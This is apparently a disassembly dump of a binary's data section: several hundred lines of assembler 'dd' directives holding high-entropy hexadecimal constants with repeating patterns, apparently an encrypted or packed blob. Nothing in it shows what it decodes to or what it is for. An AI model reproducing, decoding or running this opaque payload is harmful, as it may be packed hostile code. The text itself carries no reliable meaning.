0AC67921Eh dd 239CFED1h, 77BD514Eh, 6C4F68D1h, 0AD41189Dh, 9CB1E887h dd 0C6312996h, 3DECE126h, 5E8C2319h, 0CBC24973h, 8235D31Eh dd 0CEB789BEh, 8595E873h, 15122996h, 854E2FECh, 0DECB2996h dd 0B946FB38h, 0F700F510h, 5BFB36D5h, 968585F8h, 19C23D29h dd 1E30E9ECh, 37D6F7D6h, 0FA2EE3B6h, 81C76FD1h, 7CA55E8Ch dd 9EB05783h, 8A31CE98h, 64C56F7Fh, 6FAC735Bh, 2996860Eh dd 6C539E8Bh, 5A0F867Fh, 73CE7EB4h, 968595E8h, 1151229h dd 0A3ECBF2h, 628CBE82h, 7CB55477h, 78953AC5h, 0B78260D6h dd 85A8D182h, 46252996h, 87A762A7h, 0FED6E8B1h, 0CE1348F5h dd 0D97D8831h, 0C825B41Ah, 6AA95045h, 2996860Fh, 5D5A8F8Ch dd 5405887Bh, 68D16B9Dh, 85F78291h, 87742996h, 628CD167h dd 71B85777h, 7C8B2FC8h, 0A88EA079h, 4E8B31CEh, 41189D72h dd 0C37D6688h, 0B0477FF1h, 0D96CDC0Ah, 85B8BBE5h, 3F8E684Ch dd 6DD8A78Bh, 608C73C9h, 9A4126A7h, 2DDC7E6Fh, 0AB817D21h dd 17A04E9Ch, 4CBD20B1h, 0CECB7185h, 28872D46h, 0AB561960h dd 95DA0D70h, 799D8A29h dd 89B7547Ah, 628C6FD1h, 0BE8277A9h, 9DA173CEh, 6A572692h dd 5AA5D863h, 33222996h, 5D0C8188h, 98CF8294h, 839E1EFEh dd 23AA638Ch, 7C719A44h, 0B965719Ch, 0E50AF5B4h, 0FD0CAF28h dd 4E9CE359h, 55B417A0h, 0CF658960h, 77A9628Ch, 2B2046CEh dd 13EB9D3Dh, 0E7D03903h, 0D7920302h, 628C0137h, 59825377h dd 0B97029ACh, 46CED070h, 65324123h, 1CC23DFAh, 0B2BFEEFh dd 73CE1EE2h, 968595E8h, 0F6251229h, 29968583h, 0E6CE0300h dd 0B981EF94h, 10DF6F7Ch, 1AA55CADh, 855459B6h, 6FD1CB71h dd 0A8C346CEh, 88AE2092h, 7D2CA162h, 6953A2B4h, 5A8077A2h dd 0E17524A9h, 9168D15Bh, 0B241C626h, 299685C7h, 81B75744h dd 99BA638Ch, 299685E0h, 0B769A05Dh, 7F8A31CEh, 75A65B0Eh dd 29968604h, 79728481h, 0AFCA89B0h, 2C299685h, 0E859DF6Fh dd 29968591h, 0AA638C58h, 0A162886Fh, 6BA24B2Ch, 0D1AA90A6h dd 78638C6Fh, 6E3BB253h, 38BD4871h, 0C871A861h, 9685F28Bh dd 5F806F29h, 0B77227AEh, 636A9B40h, 0CE9AA0B6h, 0F1FC6446h dd 0E90DC433h, 618C4000h, 0BE8278A8h, 30A55E8Ch, 6F66A547h dd 7C705EA9h, 6633BA53h, 0D7E0C9ABh, 0C9A015F4h, 73CE0F25h dd 968595E8h, 2BE20B29h, 0D928CEBBh, 46CEE88Dh, 99E46779h dd 10BD88ACh, 399BAD1Ch, 6F0A49F0h, 0EC29967Bh, 0EFD01F2Fh dd 31CEEA1Eh, 5B0E7F8Ah, 1F9881BBh, 92624AB9h, 0ACF88BB2h dd 8C3C0214h, 0CA6FAA63h, 9685F089h, 9EB06D29h, 0E873CE98h dd 29968595h, 0E8011512h, 0DFFFF841h, 855A2330h, 2AD72996h dd 618C2E04h, 0BE8278A8h, 6FAA638Ch, 949CA9Dh, 0B22DD4C3h dd 21F8FD0Ah, 31CE270Dh, 0A1787D88h, 8C8DA38Dh, 0B2577661h dd 6FD1C977h, 9F8D638Ch, 72054CC4h, 0C2BB5881h, 3F299671h dd 65528742h, 0C76D8184h, 808B31CEh, 0CE6AC46Eh, 8595E873h dd 0E4D2996h, 2996856Bh, 0DECB3BE8h, 6F6186F6h, 44EA7862h dd 25C346A5h, 95E873CEh, 12299685h, 41E80115h, 0B5AEBACBh dd 38DE16C2h, 3429E802h, 21C0DF60h, 0A04E9C1Fh, 85BFBA59h dd 3F3C2996h, 31CE89AFh, 7439638Bh, 6F7DC3E6h, 0D06633BAh dd 0BB1DBA21h, 84762B2Bh, 0EB264BD0h, 3FFA2FEAh, 60F617B8h dd 8C6FD1DAh, 0CE83A55Eh, 0D87E8931h, 618C710Fh, 0BE8278A8h dd 856552EFh, 0CEC66C82h, 0B828D31h, 1D49B85Eh, 885E8C58h dd 0E423D0B6h, 0F029E0D9h, 33EC961Ch, 3BD8A0DCh, 29967142h dd 0E707C2BFh, 8C31CE51h, 6DC36D81h, 95E873CEh, 12299685h dd 0C643AA15h, 0EF1AC130h, 1964EF4Ah, 0A4299685h, 0A6643035h dd 3F2E900Dh, 0B2676E9Dh, 0FFD79577h, 98799EE4h, 6FD1C076h dd 118C628Ch, 0CBE2E08Dh, 8293B57Ch, 8595E8BEh, 8C542996h dd 9C70A962h, 0BBA7142Ah, 47ED0142h, 828D31CEh, 7A615E0Bh dd 0AB4B1E8Fh, 5E8CAF91h, 0CDC04773h, 0CE33D51Ch, 797C8731h dd 0FBE64CA0h, 673FE83h, 0CE39F7F0h, 16818C31h, 896055BAh dd 0A3688665h, 8CBE8285h, 4324A962h, 0E77D7097h, 280CD200h dd 0E873CE86h, 29968595h, 83F62512h, 299685h, 0E8D1CE03h dd 2DC1981Dh, 0D1EE80CEh, 280E20EBh, 7CA55E8Ch, 9CB25983h dd 8A31CE96h, 6BC56F7Fh, 5377628Ch, 0A16841B4h, 7D5E7F78h dd 0D165AC5Fh, 9168D16Bh, 9685F782h, 67877429h, 1231A1D1h dd 2FA66985h, 0E379927Ah, 0CECD7361h, 104B4546h, 6A8C4E72h dd 46CEBF81h, 1E356328h, 15D47AD0h, 0CEB050B3h, 16818C31h dd 26BF4FB4h, 0B8517C83h, 6CD26435h, 85EC8DCEh, 0BC692996h dd 73CE7E40h, 909C33A1h, 7655708Ch, 0C40AE282h, 0A5A84ED5h dd 299685D8h, 0EA9504Dh, 84BA5CB1h, 46CE6FD1h, 0A1E5D078h dd 78779759h, 582A9452h, 261BAE97h, 31CE3DEBh, 0C56F7F8Ah dd 8C80C06Bh, 8276AA63h, 781255B7h, 55566B31h, 608C7BC1h dd 9A4126A7h, 843ABA6Fh, 8DCE73CEh, 299685ECh, 0C058BC69h dd 47F779F5h, 3F3A0D21h, 0F7299638h, 0B2BDC00h, 641546F3h dd 0E1299638h, 8A3FCCF2h, 0C11D9A3Fh, 38BCBD5Eh, 4C392996h dd 55B21A85h, 6FD17BC1h, 85EC8DCEh, 0BC692996h, 7C719843h dd 0CE912FADh, 6AE4EB46h, 8DA1F6A9h, 0AF6C9554h, 2995B6CEh dd 82B85E4Bh, 765CB089h, 163BD3BCh, 82270D21h, 0A8618CBEh dd 4F68D178h, 0A98F9F6Eh, 76AA638Ch, 81C7BE82h, 99BA638Ch dd 299685E0h, 0B769A05Dh, 73CE6FD1h, 968595E8h, 28DF0B29h dd 1512F4A5h, 40CDF201h, 4CC11E99h, 853C9049h, 72C0421h dd 82F63CD2h, 8595E8BEh, 8C542996h, 8425A861h, 9685A6D7h dd 79662329h, 0AF5C824Fh, 2FA66B3Eh, 7263A448h, 0B4A2D5B7h dd 9CF250EAh, 638CA74Eh, 3CB15278h, 0CE84A46Dh, 0EDD95346h dd 0E5B439CCh, 76C35C0Fh, 0D87EB358h, 31CEC05Eh, 5D0C818Ch dd 0CEE83177h, 97B751CBh, 72967758h, 31CEBE82h, 75D87E89h dd 29968604h, 729943BCh, 90A66985h, 9C59EFAAh, 638CA74Eh dd 62886FAAh, 0CEA78DA1h, 0E7976146h, 6EAF0504h, 8169567Eh dd 61C67086h, 79637A56h, 83565792h, 638CCD73h, 89CA6FAAh dd 299685F0h, 86126BA8h, 928F2996h, 59DF6F2Ch, 7D8831CEh dd 0D64BA178h, 0FCD3A15Eh, 4000E90Dh, 8DCEB789h, 299685ECh dd 0BC85BC69h, 85A3D685h, 63202996h, 9685A5D8h, 0BBBE5D29h dd 38299685h, 88AE5B4Bh, 55B782B2h, 0C49746ACh, 38FE104Ch dd 30A55E8Ch, 6568A747h, 2CF2E017h, 31CE8729h, 5B0E7F8Ah dd 571E4CBBh, 6FAA638Ch, 97B33C9Dh, 6AC04BF7h, 695117F6h dd 8AB0468Bh, 0AC6468D1h, 0DBA6750Eh, 0A2658572h, 608CA68Ch dd 85E19CB7h, 0A15E2996h, 5D826568h, 0A56C3DB0h, 56758237h dd 68A14CB3h, 0BE8270C6h, 0CF8D638Ch, 27E60718h, 1D9E63C5h dd 73CE34D4h, 968595E8h, 0F6251229h, 29968583h, 28CE0300h dd 0E0FDFABFh, 0DB22Dh, 5E8C48EEh, 0A54730A5h, 89CA6F66h dd 299685F0h, 0CABDB06Dh, 0B54BC29Ch, 8CA74E9Ch, 6F2AAB64h dd 73CEBB85h, 968595E8h, 6B0E4D29h, 0E8299685h, 38DECB3Bh dd 851D60FBh, 0BB9A2996h, 24F5F80Fh, 96C6CBD0h, 0E02937B1h dd 0E873CE40h, 29968595h, 42AA1512h, 290731C5h, 95E873CEh dd 12299685h, 0CDF20115h, 5459AE0Eh, 829C4C85h, 0CEB789BEh dd 0A8618C73h, 6FE27425h, 2996860Eh, 9DE07BC6h, 1A299685h dd 4231C96Dh, 0C1686D9Ah, 9685E792h, 72B76429h, 9CB782B7h dd 299685E1h, 9436A15Eh, 8259DF6Fh, 0A65F8CBEh, 64A5482Fh dd 3422E971h, 0B946E36Ah, 0E52AC613h, 9C340A2Ch, 638CA74Eh dd 72B75878h, 98E172C7h, 15299685h, 0D170C668h, 9E6D4F68h dd 31CEC278h, 4FDA7C87h, 8B31CEB1h, 75BA6E80h, 549A7B9Fh dd 3FCF4787h, 8595E8F9h, 0C74D2996h, 2545221Ah, 85BB5B6Bh dd 0A0BB648Ch, 299685DDh, 7164AD5Ah, 2BA26786h, 0DE80CEB9h dd 4E9CFE44h, 0C079C0A7h, 9685EA93h, 94BA6729h, 0A7608C9Eh dd 0E873CE79h, 29968595h, 0E8011512h, 0B55E8C48h, 9685D3A6h dd 9E535029h, 99725C63h, 0B782BF75h, 0CA0E7155h, 70860A0Ch dd 0E881C7CAh, 29968595h, 47CC74Dh, 24324B08h, 0F2AF2996h dd 860A6C1Ah, 1821CA70h, 29CD3C9Fh, 0A74E9C13h, 5E8C73CEh dd 85E396A5h, 0A3602996h, 8C589893h, 8976AB64h, 0AF85A964h dd 0B789BE82h, 7D8831CEh, 0BEBF5CD9h, 76299685h, 23AA6589h dd 6B18E076h, 0E946CEBDh, 0BE5774E6h, 24052FBFh, 0CE23D3B0h dd 698D92F5h, 0AB46CED3h dd 0FCDCAAECh, 0E8ED16C4h, 0F356F831h, 62495ECCh, 1FBE3900h dd 2536E3EAh, 0F0E2DC54h, 0FC42D4D1h, 5079648Ch, 0D1CC7CB5h dd 6370E86Fh, 0C772F6DCh, 50A7F18Ch, 0F6AA95Ch, 8C5C50A8h dd 85722F8Fh, 7A2FA669h, 5E8C5ED4h, 7E8A5388h, 4B868A9Ch dd 5DB33E96h, 0B14DA9D2h, 6FD1979Dh, 83A55E8Ch, 0D182B782h dd 299685A8h, 597F7825h, 0CEAE84AAh, 0FA515B46h, 44EA9040h dd 279449A5h, 0C702D7DEh, 512CE712h, 0CE2995B0h, 0CEF73DD1h dd 837C8731h, 7227AE55h, 0EF6D03DCh, 8C31CE59h, 408E6D81h dd 0E873CEB5h, 29968595h, 0AA2BE20Bh, 0FC120FEFh, 838CBEDh dd 4A8731CEh, 0B46568A5h, 8DA1787Dh, 547986A3h, 0CE9F95B9h dd 9D4B8831h, 6FBA6F66h, 6C8BAB7Eh, 0D15D8B84h, 1146CE6Fh dd 0E9B94C27h, 8B241D5h, 0D6CE46FBh, 0E5168F5Ah, 82F248EEh dd 0A7608CBEh, 9168D179h, 9685F782h, 0D9A4AF29h, 56299685h dd 0A64835A9h, 89B08990h, 9685AFCAh, 9D6F2C29h, 21CBCB00h dd 75CB6B01h, 5E8CBE82h, 6FD183A5h, 7C8731CEh, 9A8EA079h dd 8595E85Ch, 8C542996h, 4730A55Eh, 749936A7h, 7B9238BDh dd 9DABAF6Fh, 8E8931CEh, 9685ACCDh, 0B57C2929h, 0F79E4C40h dd 154D7FCBh, 14FBE3DCh, 1ED70302h, 0C59379C0h, 0F60502B4h dd 5C3202E0h, 9A9E7478h, 608CBE74h, 31CE79A7h, 5B0E7F8Ah dd 708732BBh, 0A59BBB4Ch, 85E99EE8h, 1F214B35h, 0A53F46CEh dd 0F82BF21Eh, 889C3914h, 0AD4177B5h, 666E004Eh, 56B40569h dd 715740E4h, 0CEB67C92h, 37311E46h, 0D1657D2Fh, 9B4DBA22h dd 918C31CEh, 9685F782h, 42877429h, 0BE789E4Bh, 897E5E59h dd 856A5504h, 8CD06688h, 8572A760h, 0AA90A669h, 7F8A31CEh dd 32BB5B0Eh, 745F8C8Eh, 0F6EDBF48h, 5ABE3530h, 82F10FDAh dd 0CE59EFBEh, 0B828D31h, 1D49B85Eh, 8C73CE58h, 0E495A65Fh dd 61299685h, 776392A4h, 6FD17090h, 808B31CEh, 79483F0Dh dd 0F1C18B47h, 14EDD438h, 76F4104Ch, 5EA911E0h, 0E8BE82AAh dd 3585E99Eh, 1B5EFD44h, 981DA721h, 211D60FBh, 0ED9A1DA7h dd 0EF2C1224h, 0DE427A52h, 0D49BB8CBh, 4E9CFC42h, 75608CA7h dd 0AB5C8055h, 6FBA6F66h, 66886FCAh, 85E396A5h, 0A3602996h dd 68D1AD93h, 2DA06F4Fh, 0CE64DA7Ch, 787D8831h, 739836A1h dd 44AA14E3h, 72D48185h, 325EC1Ch, 91E8BE82h, 58299685h dd 815B46CEh, 1CE9F1FAh, 369E9848h, 7661ED39h, 6742B358h dd 45C628C7h, 52B9239Ch, 31CE76BCh, 5ED87E89h, 3A46CEC0h dd 995423A6h, 0AD0FDE70h, 0BE82AA5Eh, 95E873CEh, 12299685h dd 8583F625h, 3002996h, 21C928CEh, 851465F6h, 658A2996h dd 927425A8h, 49C62A95h, 0B5735980h, 10025213h, 893D0E3Bh dd 33FE43F2h, 0BE821D23h, 876552EFh, 0C6261184h, 0D0668841h dd 95E873CEh, 12299685h, 0D4020115h, 3A95B21Ah, 987EAEF0h dd 628CC076h, 6FD177A9h, 95E873CEh, 4D299685h, 96856B0Eh dd 0CB3BE829h, 0B72C38DEh, 0BE82C563h, 76AA638Ch, 628C6FD1h dd 668770A9h, 0CEB187A7h, 0B828D31h, 0A07EB85Eh, 79A7608Ch dd 6E4F68D1h, 85D9A4AFh, 0A9562996h, 0E868CE60h, 3F989839h dd 0A8618CB0h, 0A1668671h, 63D97D2Ch, 31CE6FD1h, 97C47D88h dd 299685E6h, 6190A663h, 8A7D5D7Ah, 46CEA13Fh, 5DC3919Ah dd 0DE0727FBh, 8592E822h, 26572996h, 0F5D9E61Bh, 8580F91Ah dd 0FD2996h, 31CE48EEh, 0EE2B818Ch, 0BE3DC9E2h, 0F6E42333h dd 8B618C3Fh, 547EB071h, 0FE64B17Fh, 2FF9785Ch, 9A25DC15h dd 0FD43D330h, 829168D1h, 299685F7h, 8A258774h, 1FE71961h dd 0E8D75DF1h, 29968591h, 47B08958h, 0B77263A2h, 0BE82A197h dd 818C31CEh, 0AA5F7E6Dh, 82B78276h, 9685A8D1h, 0D6782529h dd 0B65F8C60h, 9685D4A5h, 9D545129h, 5EAD0F18h, 0F8819257h dd 75299685h, 0BDA97C88h, 0F7FE0DAFh, 0A485E722h, 49A9030h dd 98DD2FD8h, 0F83ED012h, 2CA04E9Ch, 54643445h, 0CDEDEA02h dd 891E143Ah, 63A247B0h, 0A197B772h, 85EC8DCEh, 0CC692996h dd 9685EE8Fh, 8DCE6B29h, 299685ECh, 0BC75BC69h, 4A46CE8Ch dd 0C13413AAh, 7A949EB0h, 438B618Ch, 25F8AC66h, 750813CEh dd 0F2299606h, 0CE4CFC35h, 8595E873h, 15122996h, 854E2FECh dd 0DECB2996h, 8C20FE38h, 8278A861h, 0B508E8BEh, 0EFE17847h dd 0E873CE59h, 29968595h, 41AA1512h, 87D332C4h, 0A8618CEEh dd 0CE6FD178h, 797C8731h, 759437A0h, 6685A980h, 825E8287h dd 82B789BEh, 0F06355B7h, 875EDFE0h, 64DDD167h, 2E796D5Bh dd 4E2ECD81h, 4B1E8F5Ah, 8CA26B54h, 8C6FD1A6h, 0CE78A861h dd 777E8931h, 8CA28CA2h, 7C8731CEh, 5F8EA079h, 825C8C7Bh dd 694E55B7h, 0AAD29EEDh, 6AE8AE84h, 7F3E77A1h, 72A7608Ch dd 85F18CC7h, 0B16E2996h, 6FD1979Dh, 578A608Ch, 809496B9h dd 8255F33Eh, 0E795E8BEh, 25440F5h, 1624D537h, 0A36E491Fh dd 4E9CAD93h, 825E59A0h, 860B6E8Dh, 69882996h, 56038A85h dd 0CEC57B9Bh, 8595E873h, 15122996h, 4DCAF201h, 96856B0Eh dd 85F82329h, 2299685h, 2DE4A105h, 2CE30BF4h, 2A5300A9h dd 0A7299685h, 191F2FFAh, 829168D1h, 299685F7h, 0D1678774h dd 7C8731CEh, 80A53198h, 0D47AD8A4h, 0A752B515h, 5A5BAC10h dd 55B6187Fh, 0CF658960h, 7E8931CEh, 0E8710FD8h, 6E9CECC1h dd 9C9BAD28h, 0B717A04Eh, 85D2AB68h, 524F2996h, 0CEC17797h dd 8595E873h, 0D7202996h, 31F1F285h, 26C8B529h, 44E423C7h dd 126468D1h, 9B60FF0h, 0F588934Eh, 722995F9h, 0CE9BA1B5h dd 6F7F8A31h, 76AA5B80h, 0C155B782h, 5B387A95h, 0CED65CF2h dd 0C623BC46h, 9603E495h, 50A46129h, 0B45AC624h, 7051C691h dd 73CEC98Ah, 968595E8h, 0AA151229h, 14C5C845h, 22C6F302h dd 745AB236h, 44253597h, 748BB67Bh, 0F91ABF48h, 29963380h dd 48EE00FDh, 818C31CEh, 7FB95D0Ch, 0C9B45F9Ah, 46299685h dd 0CE7FB559h, 0C67C9746h, 3FCF34A3h, 3FFA0BB0h, 452059FAh dd 99AB2996h, 0BCCA16DBh, 5DF1AE10h, 0E8BE82D7h, 29968592h dd 86856750h, 7C5D5A0Fh, 0C1550489h, 0E61B267Bh, 96854435h dd 32C4C129h, 8931CE0Ch, 0AC57817Eh, 0C66F7B8Ah, 7BA65F8Ch dd 9FAF5884h, 8C6FD199h, 8282A65Fh, 929C55B7h, 6C4C50A7h dd 77E874CAh, 726B49E6h, 0AE6D94ADh, 299685CBh, 85BB5B48h dd 0CEA74E9Ch, 57828D31h, 9685C1BCh, 0AD413E29h, 98369D3Eh dd 0B7729D41h, 68D1CE72h, 139A694Fh, 8C8AB046h, 0B1527863h dd 0BE82C878h, 0A5B65F8Ch, 299685D4h, 649D5451h, 9905BD70h dd 9625FF7Ah, 2D7F7C29h, 2EC08D08h, 8D31CE08h, 0BD736C82h dd 6FAA638Ch, 90A66788h, 0E873CEAAh, 29968595h, 37011512h dd 0A65F8CD9h, 0C8F6997Bh, 17FD0EB0h, 60991143h, 95C0CAB3h dd 0B45A4729h, 0CE6FD17Eh, 0D808B31h, 8D44C12Ah, 0A8658A69h dd 82B78278h, 9685A8D1h, 7F782529h, 0B288AE5Dh, 725B64DDh dd 52BB249Bh, 0D2688E5Bh, 0CF8946CEh, 0FD847D4h, 8CDB35FFh dd 82557863h, 7578B15Eh, 82BB6DA4h, 745F8CBEh, 3944CF48h dd 0B6299685h, 10C900C9h, 27C746A7h, 5546CE11h, 7FEEB2Bh dd 0A501D386h, 12DB7BE4h, 9B6C5067h, 89AF3F1Ah, 7C8731CEh dd 29B21BDAh, 558C45C0h, 0B3C655ACh, 30299685h, 8595E873h dd 15122996h, 6FD13B01h, 82A65F8Ch, 8D2246CEh, 0E3A3D93Bh dd 95B44538h, 0CC5C229h dd 8CEE50EAh, 0D4A5B65Fh, 51299685h, 0EC828054h, 2C9A007Fh dd 31CE43E5h, 5D0C818Ch, 0F19030B9h, 0CF34E82h, 70092AE3h dd 0ED299685h, 856A1340h, 3AE72996h, 0C8D95FEFh, 0A74E9C78h dd 82A65F8Ch, 9EF146CEh, 0B9E18D6Ch, 8C859B95h, 8282A65Fh dd 0A8D182B7h, 25299685h, 0E860D678h, 29968592h, 87866750h dd 7DC35306h, 46CE79CFh, 7D7CBAE1h, 7685A92Bh, 5F8CCD68h dd 38BD4674h, 0C871A861h, 9685F28Bh, 1069AA29h, 8D299686h dd 0DD712E90h, 4F68D157h, 0B6EAD6Ch, 88299686h, 585F569Bh dd 635C9576h, 0BD83937Ah, 4B745F8Ch, 0D31ECBC2h, 40B78235h dd 0B6636A9Bh, 31CE9AA0h, 0DA6D818Ch, 0C69211CCh, 3944CF2Ah dd 0B68C9AF9h, 17ECCEC9h, 608C41F7h, 9B4126A7h, 749B7D70h dd 0D3D4B866h, 0C1094201h, 2132D886h, 2995F858h, 4DE128D5h dd 0A74E9CE7h, 95E873CEh, 12299685h, 0C9F20115h, 6FD10C3Ch dd 79A7608Ch, 31CEBE82h, 2C51638Bh, 7C7A06CEh, 0C56940B5h dd 0B00EC526h, 0C630C73Eh, 0A0697411h, 0EC987C2Dh, 0E423C5DBh dd 526D945Dh, 221A9B68h, 0EE1D3780h, 1F2FFAD1h, 8B46CE19h dd 0FEDDCA09h, 0B2CD1C98h, 0A5E5CD5Ah, 2985891h, 0E873CE3Eh dd 29968595h, 2011512h, 0C2B21AD4h, 1B62BB49h, 0D9FC32Dh dd 0C2EBFAA7h, 608C062Ch, 3FB65975h, 0CE819F6Ah, 4314A173h dd 554D6FAFh, 960DB3C6h, 0E3733029h, 31CEB759h, 1BDA7C87h dd 2AA257AEh, 488F5A26h, 0C32C445h, 6A4F68D1h, 8CC57B9Bh dd 0C970A962h, 9685EF8Ah, 9FAF6C29h, 40B78299h, 6A9D3DA0h dd 7A7BB663h, 0E8A98F9Fh, 97719808h, 0AFDDDDAh, 628C4EE4h dd 628770A9h, 0D77732A3h, 8731CE61h, 79A0797Ch, 96859FDAh dd 0CF5F1C29h, 923BC465h, 0B25B847Bh, 31CE969Ch, 6E0B828Dh dd 9685CCADh, 955C4929h, 0A04A7281h, 37E4BC0Ah, 29966C46h dd 2AEEC6C3h, 30E92074h, 842F4A09h, 0EFAC2996h, 31CED95Fh dd 0A1787D88h, 6C95548Dh, 9685CEAFh, 0B85E4B29h, 8B31CE82h dd 5D7F6E80h, 0BE827AAEh, 25A8618Ch, 85A6D784h, 66232996h dd 41B44F79h, 0C896C4A3h, 73CEAB45h, 968595E8h, 1151229h dd 0CE21D402h, 8595E873h, 15122996h, 3DCAF201h, 8831CE0Bh dd 8DA1787Dh, 628C8DA3h, 71B85777h, 9168D1CFh, 9685F782h dd 67877429h, 75608CD1h, 6CA49656h, 25D4DB11h, 0F15808ECh dd 0F50C2B81h, 0BE820C3Ch, 0A2C092E8h, 5F8C57B5h, 0A6482FA6h dd 0B5527A65h, 212D5840h, 0A158E57Dh, 96860772h, 77978429h dd 0A74E9CC1h, 5975608Ch, 9F6A3FB6h, 0E994BF7Ah, 66299685h dd 6CA13EB9h, 989EB069h, 4E8B31CEh, 0C0569B70h, 618C9876h dd 0BE8278A8h, 5875608Ch, 0A06940B5h, 0EFBE8280h, 0A04E9C59h dd 8153B217h, 0E4FF3304h, 88AE403Dh, 78A8618Ch, 952B46CEh dd 4CBD862Ah, 0CEAE90AAh, 0C818C31h, 8C79625Dh, 0A85F8B6Ah dd 4F68D178h, 0C3799D6Ch, 7E8931CEh, 0D4168CD8h, 96853647h dd 3BF6B329h, 8CBE820Dh, 36378B61h, 0CD59D1C0h, 0B782E404h dd 636A9B40h, 8C9AA0B6h, 4126A760h, 7A7D709Bh, 6841B451h dd 39E5F104h, 4E9C211Fh, 8C31CEA7h, 0B95D0C81h, 2F5D9854h dd 13335D4Dh, 0CEA70000h, 6D818C31h, 7CAC617Eh, 7D8831CEh dd 0CE7010D9h, 0C818C31h, 0CF75B95Dh, 76AA638Ch, 31CE6FD1h dd 0A0797C87h, 0D6789737h, 0FF3AB617h, 3A748E7Ch, 0EF043471h dd 0B27788CDh, 4AC277h, 0C7E96D1Bh, 0CE69CF5Fh, 8595E873h dd 15122996h, 0B641E801h, 2EFBF217h, 95E83208h, 54299685h dd 4E9C59EFh, 0B01A2CA0h, 4F218597h, 638C79BFh, 41B45578h dd 0CE7FA168h, 0BE57F46h, 95C52D50h, 17FDAA29h, 72842858h dd 799A5FC8h, 2995F900h, 51B55A76h, 0CE7CC254h, 0D9A16F46h dd 0C9A015F0h, 0FF4645E3h, 2EDF00EFh, 6C0D4EF3h, 0E9299656h dd 0CE241A3Ch, 8595E873h, 15122996h, 854E2FECh, 0DECB2996h dd 0E811AF38h, 29968595h, 0CE1F2154h, 8595E873h, 15122996h dd 1AD40201h, 12F3D8DFh, 96857801h, 0E608F529h, 0AA638C50h dd 6846CE76h, 0DFEE0F4h, 0FFBD188h, 13BA2592h, 42AFFF6h dd 27340D2Ah, 29967256h, 0F02BD6D3h, 2996728Dh, 43F91D0Ah dd 26A7608Ch, 68D2CD56h, 985199E5h, 4A4BBA1Fh, 825B258Fh dd 0A8D182B7h, 25299685h, 8C60D678h, 8276AA63h, 0A65F8CBEh dd 0BD7A7A2Fh, 0BB527B84h, 9685DDA0h, 0A2695329h, 89AF3F3Ch dd 85F08DCEh, 59A02996h, 9685BFBAh, 0AB0D3C29h, 4D845558h dd 0B92251A9h, 5990494Ch, 0BFBA59A0h, 35299685h, 0AA7F7699h dd 91A74734h, 6A4F68D1h, 8CC57B9Bh, 0B6577863h, 819F6A3Fh dd 7E8931CEh, 80B95ED8h, 9685AAD3h, 0D47A2729h, 8C80C05Eh dd 0CE77A962h, 787D8831h, 9C548DA1h, 6A5CB089h, 0B6F9E7F4h dd 0CE8DB343h, 9685EC8Dh, 8CBC6929h, 46CE6FD1h, 0D7BE209Fh dd 5D01D37Bh, 0E68AA611h, 0EC0A1E30h, 508D31CEh, 3F1A9B6Ch dd 0C056038Ah, 60808B31h, 808B31CEh, 80BA5C0Dh, 1146CE9Eh dd 618C4C4Bh, 51B0D2E5h, 0C1088080h, 0E81DBE2Dh, 0E429C631h dd 201638F1h, 9D40B782h, 9EB0696Ch, 8731CE98h, 8EA0797Ch dd 27A8CFBBh, 5F8C7499h, 8C14A74h, 0CE6FD1D8h, 797C8731h dd 7A5F8EA0h, 8269568Bh, 0C3530687h, 0EB46CE7Dh, 3E4D6A58h dd 31F8F105h, 523DE8DBh, 0D9379D6Ah, 0D33C32Ah, 6D5B64DDh dd 0A44A1F96h, 4F68D18Eh, 7B2E9F6Eh, 46CE65DBh, 5093C9CAh dd 8B6A8CB7h, 0B457755Eh, 0DE50C47Dh, 841D8B79h, 0CEE157F7h dd 8595E873h, 0DF0B2996h, 12F4A528h, 41E80115h, 5FEF14B6h dd 627BE8D9h, 216EBA05h, 0A74E9C1Fh, 95E873CEh, 12299685h dd 0C9F20115h, 31CE0C3Ch, 0C26C828Dh, 8D31CE6Ch, 5F7D6C82h dd 4A9F75ACh, 1DB0858Fh, 8290A648h, 8931CEBEh, 8CA2777Eh dd 57897C5Dh, 9A40B782h, 0BD749337h, 618CA399h, 9E4225A8h dd 0A56C9B3Fh, 967C5C30h, 0AACCAED5h, 0B16D7990h, 4E9C9BA9h dd 0E6542CA0h, 0F715715Dh, 628CE157h, 638770A9h, 3ABB4872h dd 0AE84AA5Fh, 95E873CEh, 12299685h, 0D9370115h, 0B782B789h dd 7E6FA040h, 0CEB58BABh, 0AF1DA646h, 84AA3222h, 82918465h dd 299601F7h, 35258774h, 2B796E1Ah, 0CEE818D1h, 0D83F7D46h dd 0AF3F4E17h, 7AC7AB85h, 8AAC5F7Dh, 8831CEB4h, 376D97Dh dd 0BB299686h, 676E9744h, 8C969CB2h, 4126A760h, 9F696C97h dd 9EA47A68h, 33B516A1h, 0D252CB35h, 4C418860h, 0CEC3799Dh dd 777E8931h, 739635A2h, 7887A782h, 8F3BC46Ah, 0C060D678h dd 0A9628C80h, 0A4638770h, 62A74631h, 82B187A7h, 8A31CEBEh dd 0BB5B0E7Fh, 9685E598h, 1F21A429h, 0CEA74E9Ch, 8595E873h dd 15122996h, 0DCCF201h, 0D0A96AADh, 4D299685h, 45149950h dd 816A558Ch, 0D1CC7284h, 0F7829168h, 74299685h, 89D16787h dd 46A247B0h, 8A687AEDh, 686DA4C5h, 0B2CB88B1h, 2F2995A5h dd 8256DC72h, 8A31CEBEh, 5E806F7Fh, 31CE7BADh, 0B716818Ch dd 688E5B52h, 9E3DBA7Fh, 8AAF6A6Bh, 9685B0C9h, 0DE702D29h dd 0EC8DCE58h, 69299685h, 0CE7E40BCh, 0E7F8A31h, 0DD7EBB5Bh dd 299685A0h, 0CEB86815h, 6C4D8A31h, 74BE5099h, 0A9628C9Ah dd 8A31CE77h, 6BC56F7Fh, 0B782B789h, 0CC606F55h, 32D9044h dd 370B043h, 0C57B9B56h, 638C80C0h, 0BE8276AAh, 26A7608Ch dd 0EC8DCE73h, 69299685h, 0CE7E40BCh, 0A7608C73h, 85B9C487h dd 49362996h, 0CFAA6990h dd 4C299685h, 0D179BF4Fh, 82B7896Fh, 735E8CBEh, 0D009C047h dd 858FEA29h, 0E6052996h, 30C6C323h, 6468D10Ah, 0B984A195h dd 8BB14525h, 76AB648Ch, 0ABEE229Eh, 9DFD23B2h, 2141936Ah dd 0D167879Fh, 0D182B782h, 299685A8h, 60D67825h, 94BF7AC7h dd 299685E9h, 9F95B966h, 864A46CEh, 0DF6C0513h, 0DF40A04Fh dd 967C4934h, 20D9C629h, 967C8AF3h, 0CF1A0729h, 4F68D131h dd 40199C6Bh, 73CE88AEh, 968595E8h, 1151229h, 5422CCF2h dd 768F3C7Ch, 